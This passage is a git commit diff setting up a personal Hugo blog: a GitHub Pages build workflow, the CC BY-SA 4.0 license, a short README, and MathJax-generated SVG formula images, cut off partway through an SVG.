2025 rebase

This commit is contained in:
lavafroth
2022-06-20 15:43:09 +00:00
committed by Himadri Bhattacharjee
commit 86d7d5a798
357 changed files with 13268 additions and 0 deletions

1
.envrc Normal file
View File

@@ -0,0 +1 @@
use flake

38
.github/workflows/publish.yml vendored Normal file
View File

@@ -0,0 +1,38 @@
name: github pages
on:
push:
branches:
- main
pull_request:
jobs:
deploy:
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v3
with:
submodules: true
fetch-depth: 0
- name: Setup Hugo
uses: peaceiris/actions-hugo@v2
with:
hugo-version: 'latest'
extended: true
- name: Build
run: hugo -D --minify
- name: Download pagefind binary
run: "wget https://github.com/CloudCannon/pagefind/releases/download/v1.0.3/pagefind-v1.0.3-x86_64-unknown-linux-musl.tar.gz && tar xf pagefind-*.tar.gz"
- name: Build search index
run: "./pagefind"
- name: Deploy
uses: peaceiris/actions-gh-pages@v3
if: github.ref == 'refs/heads/main'
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
publish_dir: ./public

4
.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
public
static/pagefind
.hugo_build.lock
.direnv

428
LICENSE Normal file
View File

@@ -0,0 +1,428 @@
Attribution-ShareAlike 4.0 International
=======================================================================
Creative Commons Corporation ("Creative Commons") is not a law firm and
does not provide legal services or legal advice. Distribution of
Creative Commons public licenses does not create a lawyer-client or
other relationship. Creative Commons makes its licenses and related
information available on an "as-is" basis. Creative Commons gives no
warranties regarding its licenses, any material licensed under their
terms and conditions, or any related information. Creative Commons
disclaims all liability for damages resulting from their use to the
fullest extent possible.
Using Creative Commons Public Licenses
Creative Commons public licenses provide a standard set of terms and
conditions that creators and other rights holders may use to share
original works of authorship and other material subject to copyright
and certain other rights specified in the public license below. The
following considerations are for informational purposes only, are not
exhaustive, and do not form part of our licenses.
Considerations for licensors: Our public licenses are
intended for use by those authorized to give the public
permission to use material in ways otherwise restricted by
copyright and certain other rights. Our licenses are
irrevocable. Licensors should read and understand the terms
and conditions of the license they choose before applying it.
Licensors should also secure all rights necessary before
applying our licenses so that the public can reuse the
material as expected. Licensors should clearly mark any
material not subject to the license. This includes other CC-
licensed material, or material used under an exception or
limitation to copyright. More considerations for licensors:
wiki.creativecommons.org/Considerations_for_licensors
Considerations for the public: By using one of our public
licenses, a licensor grants the public permission to use the
licensed material under specified terms and conditions. If
the licensor's permission is not necessary for any reason--for
example, because of any applicable exception or limitation to
copyright--then that use is not regulated by the license. Our
licenses grant only permissions under copyright and certain
other rights that a licensor has authority to grant. Use of
the licensed material may still be restricted for other
reasons, including because others have copyright or other
rights in the material. A licensor may make special requests,
such as asking that all changes be marked or described.
Although not required by our licenses, you are encouraged to
respect those requests where reasonable. More considerations
for the public:
wiki.creativecommons.org/Considerations_for_licensees
=======================================================================
Creative Commons Attribution-ShareAlike 4.0 International Public
License
By exercising the Licensed Rights (defined below), You accept and agree
to be bound by the terms and conditions of this Creative Commons
Attribution-ShareAlike 4.0 International Public License ("Public
License"). To the extent this Public License may be interpreted as a
contract, You are granted the Licensed Rights in consideration of Your
acceptance of these terms and conditions, and the Licensor grants You
such rights in consideration of benefits the Licensor receives from
making the Licensed Material available under these terms and
conditions.
Section 1 -- Definitions.
a. Adapted Material means material subject to Copyright and Similar
Rights that is derived from or based upon the Licensed Material
and in which the Licensed Material is translated, altered,
arranged, transformed, or otherwise modified in a manner requiring
permission under the Copyright and Similar Rights held by the
Licensor. For purposes of this Public License, where the Licensed
Material is a musical work, performance, or sound recording,
Adapted Material is always produced where the Licensed Material is
synched in timed relation with a moving image.
b. Adapter's License means the license You apply to Your Copyright
and Similar Rights in Your contributions to Adapted Material in
accordance with the terms and conditions of this Public License.
c. BY-SA Compatible License means a license listed at
creativecommons.org/compatiblelicenses, approved by Creative
Commons as essentially the equivalent of this Public License.
d. Copyright and Similar Rights means copyright and/or similar rights
closely related to copyright including, without limitation,
performance, broadcast, sound recording, and Sui Generis Database
Rights, without regard to how the rights are labeled or
categorized. For purposes of this Public License, the rights
specified in Section 2(b)(1)-(2) are not Copyright and Similar
Rights.
e. Effective Technological Measures means those measures that, in the
absence of proper authority, may not be circumvented under laws
fulfilling obligations under Article 11 of the WIPO Copyright
Treaty adopted on December 20, 1996, and/or similar international
agreements.
f. Exceptions and Limitations means fair use, fair dealing, and/or
any other exception or limitation to Copyright and Similar Rights
that applies to Your use of the Licensed Material.
g. License Elements means the license attributes listed in the name
of a Creative Commons Public License. The License Elements of this
Public License are Attribution and ShareAlike.
h. Licensed Material means the artistic or literary work, database,
or other material to which the Licensor applied this Public
License.
i. Licensed Rights means the rights granted to You subject to the
terms and conditions of this Public License, which are limited to
all Copyright and Similar Rights that apply to Your use of the
Licensed Material and that the Licensor has authority to license.
j. Licensor means the individual(s) or entity(ies) granting rights
under this Public License.
k. Share means to provide material to the public by any means or
process that requires permission under the Licensed Rights, such
as reproduction, public display, public performance, distribution,
dissemination, communication, or importation, and to make material
available to the public including in ways that members of the
public may access the material from a place and at a time
individually chosen by them.
l. Sui Generis Database Rights means rights other than copyright
resulting from Directive 96/9/EC of the European Parliament and of
the Council of 11 March 1996 on the legal protection of databases,
as amended and/or succeeded, as well as other essentially
equivalent rights anywhere in the world.
m. You means the individual or entity exercising the Licensed Rights
under this Public License. Your has a corresponding meaning.
Section 2 -- Scope.
a. License grant.
1. Subject to the terms and conditions of this Public License,
the Licensor hereby grants You a worldwide, royalty-free,
non-sublicensable, non-exclusive, irrevocable license to
exercise the Licensed Rights in the Licensed Material to:
a. reproduce and Share the Licensed Material, in whole or
in part; and
b. produce, reproduce, and Share Adapted Material.
2. Exceptions and Limitations. For the avoidance of doubt, where
Exceptions and Limitations apply to Your use, this Public
License does not apply, and You do not need to comply with
its terms and conditions.
3. Term. The term of this Public License is specified in Section
6(a).
4. Media and formats; technical modifications allowed. The
Licensor authorizes You to exercise the Licensed Rights in
all media and formats whether now known or hereafter created,
and to make technical modifications necessary to do so. The
Licensor waives and/or agrees not to assert any right or
authority to forbid You from making technical modifications
necessary to exercise the Licensed Rights, including
technical modifications necessary to circumvent Effective
Technological Measures. For purposes of this Public License,
simply making modifications authorized by this Section 2(a)
(4) never produces Adapted Material.
5. Downstream recipients.
a. Offer from the Licensor -- Licensed Material. Every
recipient of the Licensed Material automatically
receives an offer from the Licensor to exercise the
Licensed Rights under the terms and conditions of this
Public License.
b. Additional offer from the Licensor -- Adapted Material.
Every recipient of Adapted Material from You
automatically receives an offer from the Licensor to
exercise the Licensed Rights in the Adapted Material
under the conditions of the Adapter's License You apply.
c. No downstream restrictions. You may not offer or impose
any additional or different terms or conditions on, or
apply any Effective Technological Measures to, the
Licensed Material if doing so restricts exercise of the
Licensed Rights by any recipient of the Licensed
Material.
6. No endorsement. Nothing in this Public License constitutes or
may be construed as permission to assert or imply that You
are, or that Your use of the Licensed Material is, connected
with, or sponsored, endorsed, or granted official status by,
the Licensor or others designated to receive attribution as
provided in Section 3(a)(1)(A)(i).
b. Other rights.
1. Moral rights, such as the right of integrity, are not
licensed under this Public License, nor are publicity,
privacy, and/or other similar personality rights; however, to
the extent possible, the Licensor waives and/or agrees not to
assert any such rights held by the Licensor to the limited
extent necessary to allow You to exercise the Licensed
Rights, but not otherwise.
2. Patent and trademark rights are not licensed under this
Public License.
3. To the extent possible, the Licensor waives any right to
collect royalties from You for the exercise of the Licensed
Rights, whether directly or through a collecting society
under any voluntary or waivable statutory or compulsory
licensing scheme. In all other cases the Licensor expressly
reserves any right to collect such royalties.
Section 3 -- License Conditions.
Your exercise of the Licensed Rights is expressly made subject to the
following conditions.
a. Attribution.
1. If You Share the Licensed Material (including in modified
form), You must:
a. retain the following if it is supplied by the Licensor
with the Licensed Material:
i. identification of the creator(s) of the Licensed
Material and any others designated to receive
attribution, in any reasonable manner requested by
the Licensor (including by pseudonym if
designated);
ii. a copyright notice;
iii. a notice that refers to this Public License;
iv. a notice that refers to the disclaimer of
warranties;
v. a URI or hyperlink to the Licensed Material to the
extent reasonably practicable;
b. indicate if You modified the Licensed Material and
retain an indication of any previous modifications; and
c. indicate the Licensed Material is licensed under this
Public License, and include the text of, or the URI or
hyperlink to, this Public License.
2. You may satisfy the conditions in Section 3(a)(1) in any
reasonable manner based on the medium, means, and context in
which You Share the Licensed Material. For example, it may be
reasonable to satisfy the conditions by providing a URI or
hyperlink to a resource that includes the required
information.
3. If requested by the Licensor, You must remove any of the
information required by Section 3(a)(1)(A) to the extent
reasonably practicable.
b. ShareAlike.
In addition to the conditions in Section 3(a), if You Share
Adapted Material You produce, the following conditions also apply.
1. The Adapter's License You apply must be a Creative Commons
license with the same License Elements, this version or
later, or a BY-SA Compatible License.
2. You must include the text of, or the URI or hyperlink to, the
Adapter's License You apply. You may satisfy this condition
in any reasonable manner based on the medium, means, and
context in which You Share Adapted Material.
3. You may not offer or impose any additional or different terms
or conditions on, or apply any Effective Technological
Measures to, Adapted Material that restrict exercise of the
rights granted under the Adapter's License You apply.
Section 4 -- Sui Generis Database Rights.
Where the Licensed Rights include Sui Generis Database Rights that
apply to Your use of the Licensed Material:
a. for the avoidance of doubt, Section 2(a)(1) grants You the right
to extract, reuse, reproduce, and Share all or a substantial
portion of the contents of the database;
b. if You include all or a substantial portion of the database
contents in a database in which You have Sui Generis Database
Rights, then the database in which You have Sui Generis Database
Rights (but not its individual contents) is Adapted Material,
including for purposes of Section 3(b); and
c. You must comply with the conditions in Section 3(a) if You Share
all or a substantial portion of the contents of the database.
For the avoidance of doubt, this Section 4 supplements and does not
replace Your obligations under this Public License where the Licensed
Rights include other Copyright and Similar Rights.
Section 5 -- Disclaimer of Warranties and Limitation of Liability.
a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
c. The disclaimer of warranties and limitation of liability provided
above shall be interpreted in a manner that, to the extent
possible, most closely approximates an absolute disclaimer and
waiver of all liability.
Section 6 -- Term and Termination.
a. This Public License applies for the term of the Copyright and
Similar Rights licensed here. However, if You fail to comply with
this Public License, then Your rights under this Public License
terminate automatically.
b. Where Your right to use the Licensed Material has terminated under
Section 6(a), it reinstates:
1. automatically as of the date the violation is cured, provided
it is cured within 30 days of Your discovery of the
violation; or
2. upon express reinstatement by the Licensor.
For the avoidance of doubt, this Section 6(b) does not affect any
right the Licensor may have to seek remedies for Your violations
of this Public License.
c. For the avoidance of doubt, the Licensor may also offer the
Licensed Material under separate terms or conditions or stop
distributing the Licensed Material at any time; however, doing so
will not terminate this Public License.
d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
License.
Section 7 -- Other Terms and Conditions.
a. The Licensor shall not be bound by any additional or different
terms or conditions communicated by You unless expressly agreed.
b. Any arrangements, understandings, or agreements regarding the
Licensed Material not stated herein are separate from and
independent of the terms and conditions of this Public License.
Section 8 -- Interpretation.
a. For the avoidance of doubt, this Public License does not, and
shall not be interpreted to, reduce, limit, restrict, or impose
conditions on any use of the Licensed Material that could lawfully
be made without permission under this Public License.
b. To the extent possible, if any provision of this Public License is
deemed unenforceable, it shall be automatically reformed to the
minimum extent necessary to make it enforceable. If the provision
cannot be reformed, it shall be severed from this Public License
without affecting the enforceability of the remaining terms and
conditions.
c. No term or condition of this Public License will be waived and no
failure to comply consented to unless expressly agreed to by the
Licensor.
d. Nothing in this Public License constitutes or may be interpreted
as a limitation upon, or waiver of, any privileges and immunities
that apply to the Licensor or You, including from the legal
processes of any jurisdiction or authority.
=======================================================================
Creative Commons is not a party to its public
licenses. Notwithstanding, Creative Commons may elect to apply one of
its public licenses to material it publishes and in those instances
will be considered the “Licensor.” The text of the Creative Commons
public licenses is dedicated to the public domain under the CC0 Public
Domain Dedication. Except for the limited purpose of indicating that
material is shared under a Creative Commons public license or as
otherwise permitted by the Creative Commons policies published at
creativecommons.org/policies, Creative Commons does not authorize the
use of the trademark "Creative Commons" or any other trademark or logo
of Creative Commons without its prior written consent including,
without limitation, in connection with any unauthorized modifications
to any of its public licenses or any other arrangements,
understandings, or agreements concerning use of licensed material. For
the avoidance of doubt, this paragraph does not form part of the
public licenses.
Creative Commons may be contacted at creativecommons.org.

16
README.md Normal file
View File

@@ -0,0 +1,16 @@
# Personal Blog
I talk about tech I find interesting and solutions to hacking competitions.
Static site generation is powered by [Hugo](https://gohugo.io).
The custom theme [Paprika](/themes/paprika/README.md) is adapted from the [Paper](https://themes.gohugo.io/themes/hugo-paper/) theme.
### Reading offline
You can read the entirety of the blog offline by cloning and building it locally.
```sh
git clone https://github.com/lavafroth/lavafroth.github.io
nix develop --command serve
```

4
assets/Collector.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 137 KiB

4
assets/Functor.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 168 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 1.1 MiB

4
assets/TaggedFunctor.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 542 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.2 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.9 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.5 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.1 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 7.2 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.6 KiB

View File

@@ -0,0 +1,2 @@
<svg style="vertical-align: -1.018ex" xmlns="http://www.w3.org/2000/svg" width="8.84ex" height="3.167ex" role="img" focusable="false" viewBox="0 -950 3907.2 1400">
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(877.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(1933.6,0)"><path data-c="220F" d="M220 812Q220 813 218 819T214 829T208 840T199 853T185 866T166 878T140 887T107 893T66 896H56V950H1221V896H1211Q1080 896 1058 812V-311Q1076 -396 1211 -396H1221V-450H725V-396H735Q864 -396 888 -314Q889 -312 889 -311V896H388V292L389 -311Q405 -396 542 -396H552V-450H56V-396H66Q195 -396 219 -314Q220 -312 220 -311V812Z"></path></g><g data-mml-node="mi" transform="translate(3378.2,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg>

After

Width:  |  Height:  |  Size: 2.1 KiB

View File

@@ -0,0 +1,2 @@
<svg style="vertical-align: -1.909ex" xmlns="http://www.w3.org/2000/svg" width="8.675ex" height="4.438ex" role="img" focusable="false" viewBox="0 -1118 3834.5 1961.8">
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="TeXAtom" transform="translate(911,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g><g data-mml-node="mo" transform="translate(1482.7,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mfrac" transform="translate(2538.5,0)"><g data-mml-node="mi" transform="translate(348,676)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="msub" transform="translate(220,-686)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,-150) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g><rect width="1056" height="60" x="120" y="220"></rect></g></g></g></svg>

After

Width:  |  Height:  |  Size: 4.1 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.2 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 7.9 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 5.1 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 13 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 7.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 5.9 KiB

View File

@@ -0,0 +1,2 @@
<svg style="vertical-align: -1.602ex" xmlns="http://www.w3.org/2000/svg" width="18.012ex" height="4.701ex" role="img" focusable="false" viewBox="0 -1370 7961.1 2078">
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(1055.8,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(1707,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(2707.2,0)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><g data-mml-node="mo" transform="translate(3429.4,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(4429.7,0)"><g data-mml-node="mn" transform="translate(220,676)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mn" transform="translate(220,-686)"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><rect width="700" height="60" x="120" y="220"></rect></g><g data-mml-node="mo" transform="translate(5591.9,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="mfrac" transform="translate(6592.1,0)"><g data-mml-node="mrow" transform="translate(220,676)"><g data-mml-node="mn"><path data-c="34" d="M462 0Q444 3 333 3Q217 3 199 0H190V46H221Q241 46 248 46T265 48T279 53T286 61Q287 63 287 115V165H28V211L179 442Q332 674 334 675Q336 677 355 677H373L379 671V211H471V165H379V114Q379 73 379 66T385 54Q393 47 442 46H471V0H462ZM293 211V545L74 212L183 211H293Z"></path></g><g data-mml-node="mi" transform="translate(500,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g><g data-mml-node="mn" transform="translate(434.5,-686)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z"></path></g><rect width="1129" height="60" x="120" y="220"></rect></g></g></g></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

View File

@@ -0,0 +1,2 @@
<svg style="vertical-align: -1.602ex" xmlns="http://www.w3.org/2000/svg" width="12.149ex" height="4.701ex" role="img" focusable="false" viewBox="0 -1370 5369.7 2078">
<g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(1055.8,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(1707,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(2707.2,0)"><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 